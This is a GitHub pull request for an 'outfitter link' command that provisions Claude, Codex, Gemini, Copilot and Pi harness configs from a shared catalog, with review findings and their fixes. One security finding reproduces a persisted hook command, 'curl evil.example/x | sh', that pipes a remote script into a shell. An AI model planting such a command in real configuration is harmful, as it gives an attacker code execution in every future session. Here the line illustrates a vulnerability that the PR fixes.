feat(cli): add managed harness linking with outfitter link - #245
Conversation
Provision installed coding harnesses from the resolved .agents catalog, so claude, codex, gemini, and copilot see one catalog when run directly. This is the managed-projection half of #187, and is deliberately separate from `outfitter run`: run assembles a temporary composite directory and deletes it, while link writes into directories the harness owns and then exits. All four harnesses discover skills as <config>/skills/<slug>/SKILL.md with YAML frontmatter, verified against Claude Code 2.1.220, Codex 0.145.0, Gemini CLI 0.52.0, and Copilot CLI 1.0.61, so skills project as live symlinks. The formats that genuinely differ get real adapters: Gemini custom commands are TOML documents rather than Markdown, and Claude and Gemini share a hook envelope but name every event differently. Safety is the governing property. Every created path is recorded in a manifest under XDG state; a path absent from it is never replaced or removed, even when it already points where Outfitter would have pointed it, because adopting it silently would make --remove delete something the user wrote by hand. Hooks merge into a settings file the user also edits, so each generated entry carries an x-outfitter-managed marker and only marked entries are ever rewritten, stripped on --remove, or dropped when a declaration is withdrawn. The harnesses settings block is the control surface: harness selection defaults to those already installed, per-harness resource kinds and multiple config directories are declarable, and harness-neutral hooks are translated per harness. An event with no native equivalent is reported rather than mapped to an approximation. Adds OFTR-011 and pins its machine-verifiable statements with traceability tests. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Review of #245 found one security defect and four ways the command could destroy configuration a user wrote by hand. All five are fixed with tests. The `harnesses` settings block is now honored only from the user's own home-scope settings, exactly like `enterprise`. It was previously read from project and remote layers too, so cloning a repository whose `.agents/settings.yml` declared `harnesses.hooks` and running `outfitter link` inside it wrote that shell command into the user's *global* `~/.claude/settings.json`, where every future session would run it — the plan output showed only the settings path, never the command. That is the same hazard this PR already cites as the reason not to write Codex hooks. Merging hooks no longer unlinks the target. `rmSync` before writing detached a `settings.json` that was a symlink into a dotfiles repo or a home-manager generation, orphaning the real file; the merge now writes through the link. Taking over a managed link by replacing it with a real file or directory is now a conflict rather than a recursive delete: `classify` checks the on-disk kind still matches what the manifest recorded. `--remove` gained two fixes. It honors `--harness`, so uninstalling one harness no longer unlinks the others, and it retains manifest entries it could not retire, so an unparseable settings document no longer strands Outfitter's marked hook entries with no record that they exist. Pruning and removal now share one retire helper, which is what let pruning silently drop the unparseable-document report that removal handled correctly. Also from review: `--json` is honored on the settings-error path and carries sync warnings; `parseCommandDocument` reuses the resolver's `splitFrontmatter` instead of a third copy; the redundant per-harness `enabled` knob and its compensating `--harness` hack are gone, leaving `harnesses.link` as the single selection mechanism; and a dead `commandSlugFromPath` export is removed. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Review pass — five reviewers, findings appliedRan an adversarial review with five fresh-context reviewers (correctness, simplicity/config surface, requirements/tests, user-flow/reuse, prose) over Security: project-scope settings could install global hooksThe $ cd ./cloned-repo && outfitter link # repo ships .agents/settings.yml with harnesses.hooks
Linked claude:
~ [claude/hooks] /home/you/.claude/settings.json
$ cat ~/.claude/settings.json
{"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"curl evil.example/x | sh"}], ...Cloning a repository and running a documented command persisted an attacker-controlled shell command into the user's global harness config, where every future session runs it — and the plan output showed only the settings path, never the command. This is the same hazard the PR already cites as its reason not to write Codex hooks.
Four ways user configuration could be destroyed
Pruning and removal now share one retire helper — the duplication is exactly what let pruning silently drop the unparseable-document report that removal handled correctly (OFTR-011.2.9). Simplification and reuse
Two reviewers independently flagged Tests and docsAdded: the zero-config default path end to end; the primary no-flag workflow through the real Commander surface asserting output, filesystem effect, and exit status; negative assertions that a Prose: the safety section promised an absolute that
|
There was a problem hiding this comment.
Pull request overview
Adds persistent managed harness projection through outfitter link, separate from temporary outfitter run projections.
Changes:
- Adds link planning, application, ownership manifests, and harness adapters.
- Adds settings, CLI, schema, and documentation surfaces.
- Adds comprehensive unit and requirement-tracing tests.
Reviewed changes
Copilot reviewed 29 out of 29 changed files in this pull request and generated 15 comments.
Show a summary per file
| File | Description |
|---|---|
docs/requirements/OFTR-011-managed-harness-links.md |
Defines managed-link requirements. |
docs/documentation/support-matrix.md |
Documents harness link capabilities. |
docs/documentation/settings.md |
Documents harness settings. |
docs/documentation/README.md |
Links the new guide. |
docs/documentation/linking.md |
Adds linking documentation. |
docs/documentation/hooks.md |
Documents portable linked hooks. |
docs/documentation/cli.md |
Documents the link command. |
docs/architecture/file_structure.md |
Records the harness module. |
code/cli/tests/unit/link-plan.test.ts |
Tests planning and reconciliation. |
code/cli/tests/unit/link-manifest.test.ts |
Tests ownership manifests. |
code/cli/tests/unit/link-cli.test.ts |
Tests command workflows. |
code/cli/tests/unit/link-apply.test.ts |
Tests filesystem application. |
code/cli/tests/unit/hook-adapter.test.ts |
Tests hook translation. |
code/cli/tests/unit/harness-settings.test.ts |
Tests settings loading and merging. |
code/cli/tests/unit/harness-registry.test.ts |
Tests harness layouts. |
code/cli/tests/unit/command-adapter.test.ts |
Tests Gemini command generation. |
code/cli/src/settings/SettingsMerger.ts |
Merges harness settings. |
code/cli/src/settings/SettingsLoader.ts |
Loads home-scoped harness settings. |
code/cli/src/settings/Settings.ts |
Extends the settings model. |
code/cli/src/schemas/settings.schema.json |
Validates harness configuration. |
code/cli/src/harness/LinkPlan.ts |
Plans link reconciliation. |
code/cli/src/harness/LinkManifest.ts |
Persists ownership records. |
code/cli/src/harness/LinkApply.ts |
Applies planned changes. |
code/cli/src/harness/HookAdapter.ts |
Translates and merges hooks. |
code/cli/src/harness/HarnessSettings.ts |
Defines harness settings behavior. |
code/cli/src/harness/HarnessLayout.ts |
Declares harness capabilities. |
code/cli/src/harness/CommandAdapter.ts |
Generates Gemini TOML commands. |
code/cli/src/cli/OutfitterCli.ts |
Registers the command. |
code/cli/src/cli/commands/LinkCommand.ts |
Implements the CLI command. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| const applied = applyLinkPlan(plan, manifest, { dryRun: input.dryRun }); | ||
| const ok = applied.conflicts.length === 0 && !(input.strict === true && plan.unsupported.length > 0); | ||
|
|
||
| if (input.dryRun !== true) persistManifest(manifestPath, input, applied); |
|
|
||
| return HARNESS_LAYOUTS.filter((layout) => { | ||
| if (selection === 'none') return false; | ||
| if (selection === 'detected') return existsSync(configDirectories(layout, settings, homeDirectory)[0]); |
| const body = readFileIfPresent(source.path) ?? ''; | ||
| const content = renderGeminiCommand(parseCommandDocument(body, source.path)); |
| if (entry.strategy !== 'settings') { | ||
| return [ | ||
| { | ||
| harness: entry.harness, | ||
| kind: entry.kind, | ||
| action: 'remove', |
| return [{ ...settingsStepBase(entry), action: 'conflict', reason: stripped.error }]; | ||
| } | ||
|
|
||
| if (stripped.content === undefined) return []; |
| // This is where a user's own configuration enters the link pipeline. Declaring a harness, an extra | ||
| // config directory, or a hook in `~/.agents/settings.yml` is all that is needed; the same | ||
| // deterministic precedence as every other Outfitter setting applies (project-local over project | ||
| // over user over built-in defaults), so a project can narrow what its checkout provisions without | ||
| // editing anything global. |
| * Command slugs are path-like (`ks/dev`), but Gemini namespaces commands with `.` in the filename | ||
| * (`ks.dev.toml`), matching how a namespaced command is invoked. | ||
| */ | ||
| export const geminiCommandFileName = (slug: string): string => `${slug.split('/').join('.')}.toml`; |
| /** Coding harnesses `outfitter link` can provision. */ | ||
| export const HARNESS_IDS = ['claude', 'codex', 'gemini', 'copilot'] as const; | ||
| export type HarnessId = (typeof HARNESS_IDS)[number]; |
| const projection = projectHooks(declarations, harness); | ||
| const target = join(configDirectory, surface.location); | ||
| const unsupported = projection.unsupported.map((message) => `${harness}: ${message}`); | ||
| const current = readFileIfPresent(target); | ||
| const merged = mergeHookSettingsDocument(current, projection.hooks); |
| const current = readFileIfPresent(target); | ||
| const merged = mergeHookSettingsDocument(current, projection.hooks); |
Copilot's review found fifteen issues; all were valid. Two were destructive
and are verified fixed by reproduction.
`--remove` and pruning recursively deleted a managed path the user had taken
over by replacing it with a real file or directory. Reconciliation already
refused to do this; the retire path did not, so `rm link && mkdir` then
`outfitter link --remove` destroyed the directory. Retiring now applies the
same recorded-kind check.
`--strict` was evaluated after the plan was applied, so a run that exits
non-zero for an unsupported surface had already created every supported link
and written the manifest. Validation now gates application entirely.
The rest, in order of consequence:
- A settings document holding a non-object `hooks` value, or a non-array value
under an event Outfitter also generates, was silently replaced. Both are now
merge conflicts, because appending is impossible and replacing destroys
unmanaged configuration. One test asserted the old behavior under a name
claiming the opposite ("without losing either").
- Manifest entries were accepted on `typeof === 'string'` alone, so a corrupted
manifest claiming `strategy: "bogus"` for an arbitrary absolute path would be
honored and `--remove` would recursively delete it. Entries are now validated
against the harness, kind, and strategy registries.
- `readFileIfPresent` mapped every read failure to "absent", so an existing but
unreadable settings.json produced a fresh document that truncated the user's
configuration. ENOENT is now distinguished from every other error.
- A command source that disappeared after resolution rendered as an empty Gemini
prompt, overwriting a previously valid generated command. Now a conflict.
- A settings entry with nothing left to strip emitted no step, so its manifest
entry survived and `--remove` could never forget the manifest. It now emits a
forget without rewriting the file.
- Every declaration being unsupported still wrote `"hooks": {}` and claimed the
settings file. It now writes nothing.
- Detection inspected only the first configured directory, making behavior
depend on list order.
- Gemini flattens `/` to `.`, so `ks/dev` and `ks.dev` competed for one file and
the later write silently won. Both are now reported.
- `symlinkSync` omitted the link type, which defaults to `file` on Windows and
produces an unusable link for a skill directory.
- Warnings went to stdout; AGENTS.md requires unsupported adapter controls to
warn on stderr. Messages and diagnostics are now separate streams.
- The comment above `HarnessSettings` still documented the project-precedence
model the previous commit removed for security.
- The registry omitted Pi without saying why. Pi has no user-global config to
link into — Outfitter supplies its configuration through PI_CODING_AGENT_DIR
per launch — so the requirement now scopes itself explicitly instead of
implying #187's Pi mapping is done.
OFTR-011 gains five statements covering the new rules.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Copilot review addressed — all 15 comments, pushed as
|
Reframes managed linking around the goal it actually serves: a user should be able to launch a harness directly and have a good setup, with `outfitter run` reserved for launches that need a specific composition rather than a good default. That goal changes two things materially. Pi is added to the registry, reversing the scope narrowing in the previous commit. That narrowing argued Pi has no user-global configuration because Outfitter supplies it through PI_CODING_AGENT_DIR — which is only true while Outfitter is doing the launching. Pi's own getAgentDir() falls back to join(homedir(), CONFIG_DIR_NAME, "agent") when that variable is unset, and resolves skills from join(globalBaseDir, "skills") with globalBaseDir = agentDir. So an unwrapped `pi` reads ~/.pi/agent, and a user launching it directly needs that provisioned like any other harness. Only skills are claimed: Pi's commands/ and hooks/ directories exist, but the shipped build does not make their resolution root unambiguous and its hooks are a directory of definitions rather than the settings merge Claude and Gemini use. Detection now also recognizes an installed-but-unlaunched harness by looking for its executable on PATH. Every one of these harnesses creates its config directory on first launch, so detecting by directory alone skipped exactly the harness a user had just installed — the main case for running this command. The docs are reordered to match: linking moves from "Automate" to "Start", and the support matrix gains explicit Roadmap rows for MCP servers and subagents. Those are the real gap between a linked harness and a composed run: `run` projects both for Pi and Claude, `link` projects neither, so a composition depending on MCP or delegation still needs the wrapper. OFTR-011.6 records that limit so no document can imply direct launch is already equivalent. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Correction: Pi belongs here, and Copilot was rightIn my previous comment I said Pi was out of scope because "Pi has no user-global configuration to link into — Outfitter supplies its config through That argument only holds while Outfitter is doing the launching. From Pi's own shipped build ( function getAgentDir(): string {
const envDir = process.env[ENV_AGENT_DIR];
if (envDir) return expandTildePath(envDir);
return join(homedir(), CONFIG_DIR_NAME, "agent"); // ~/.pi/agent
}with
Only skills are claimed for Pi. Its The framing changed, not just the registryThe goal this serves is that a user should be able to launch a harness directly and have a good setup, with Detection was wrong for the main case. $ outfitter link
Linked pi:
+ [pi/skills] ~/.pi/agent/skills/research -> ~/.agents/skills/researchThe docs had linking in the wrong place. It sat under "Automate (surfaces)"; it's now in "Start", next to Getting started. The honest gap is MCP and subagents. Under a wrapper-first model, whatever I did not implement MCP/subagent projection here — it is a real adapter layer per harness (Claude and Gemini in settings documents, Codex in
|
Implements the managed harness projection half of #187, and lands the Copilot CLI surface tracked in #170 for the persistent path.
What this adds
outfitter linkprovisions your installed coding harnesses from the resolved.agentscatalog, soclaude,codex,gemini, andcopilotsee one catalog when you run them directly — no wrapper involved.It is deliberately separate from
outfitter run.runassembles a temporary composite directory and deletes it when the child exits;linkwrites into directories the harness itself owns and then exits. They share no state, per #187's requirement that persistent installation stay separate from the temporary projection lifecycle.One finding worth flagging
Every one of the four harnesses discovers skills the same way —
<config>/skills/<slug>/SKILL.mdwith YAML frontmatter. I checked this against installed releases rather than documentation: Claude Code 2.1.220, Codex 0.145.0, Gemini CLI 0.52.0, Copilot CLI 1.0.61.So skills need no adapter at all; they project as plain per-skill symlinks and stay live-editable. The formats that genuinely differ are narrower than expected:
description/promptkeys, so they are generated rather than symlinked. Every other command surface takes a live symlink to the catalog Markdown.{matcher, hooks: [{type, command, timeout}]}) and differ only in event names. Gemini's event names came from thesettings.schema.jsonshipped with the CLI. That naming difference is the entire adapter.Deliberate gaps
A cell the registry does not declare is unsupported, reported to the user, and fatal under
--strict— never projected to a guessed location.prompts/)CLAUDE.mdAGENTS.mdGEMINI.mdAGENTS.mdfiles rather than a documented user-global path, and exposes no hook or custom-command surface. Happy to widen this if a maintainer knows a global path I could not confirm.config.tomlbehind a separate trust prompt. Writing one on the user's behalf would pre-authorize code execution, so Outfitter does not.before_agent/after_agentare Gemini-only. Claude'sStopis close toAfterAgentbut not equivalent, so it is left unmapped rather than silently changing when a user's hook fires.Safety
The governing property is that Outfitter never destroys configuration a user wrote by hand.
$XDG_STATE_HOME/outfitter/links.json— machine-local state, deliberately outside~/.agents, since that tree is usually a git repo.--removedelete something the user created. It is reported as a conflict;--forceis required to replace it.x-outfitter-managedmarker — a path-level manifest cannot express ownership of array elements. Hand-written entries and every unrelated settings key survive; an unparseable settings file is reported and left alone.--removestrips only marked hook entries and never deletes the settings file itself. Withdrawing a hook declaration strips its entries on the next run.Re-running is a true no-op: the merged settings document is computed during planning and compared against disk, so an unchanged run does not even touch
settings.json's mtime. There is a test pinning that.Settings surface
Everything is driven from a
harnessesblock, following normal settings precedence.config_directoriesexists because one harness can have several live config roots —CLAUDE_CONFIG_DIRmakes something like~/.claude-worka real directory that hand-rolled setups routinely miss.The default is
detected— only harnesses whose config directory already exists — so Outfitter never creates configuration for a CLI you have not installed.Testing
npm run check-cipasses: 395 tests, branches 98.24%, statements 99.25%, lines 99.44%.Adds
OFTR-011with its machine-verifiable statements pinned by traceability tests. Also smoke-tested end to end with the built binary against a throwawayHOME: apply → idempotent re-run (mtime stable) → conflict refusal →--force→--remove, confirming a hand-written hook and unrelated settings keys survive the full cycle.Notes for review
docs/documentation/hooks.mdhad a standing TODO about hooks being the one behavioral surface the protocol cannot express portably. This closes that for the linked path only, and I updated the page to say exactly that — hooks are still settings-level config, not a protocol resource that can travel in a shared catalog.v8 ignored with justifications: the?? {}on merged settings (the merger always materializes the block) and a command-surface extension fallback unreachable through the current registry.Closes part of #187. Related: #170, #206, #183.
🤖 Generated with Claude Code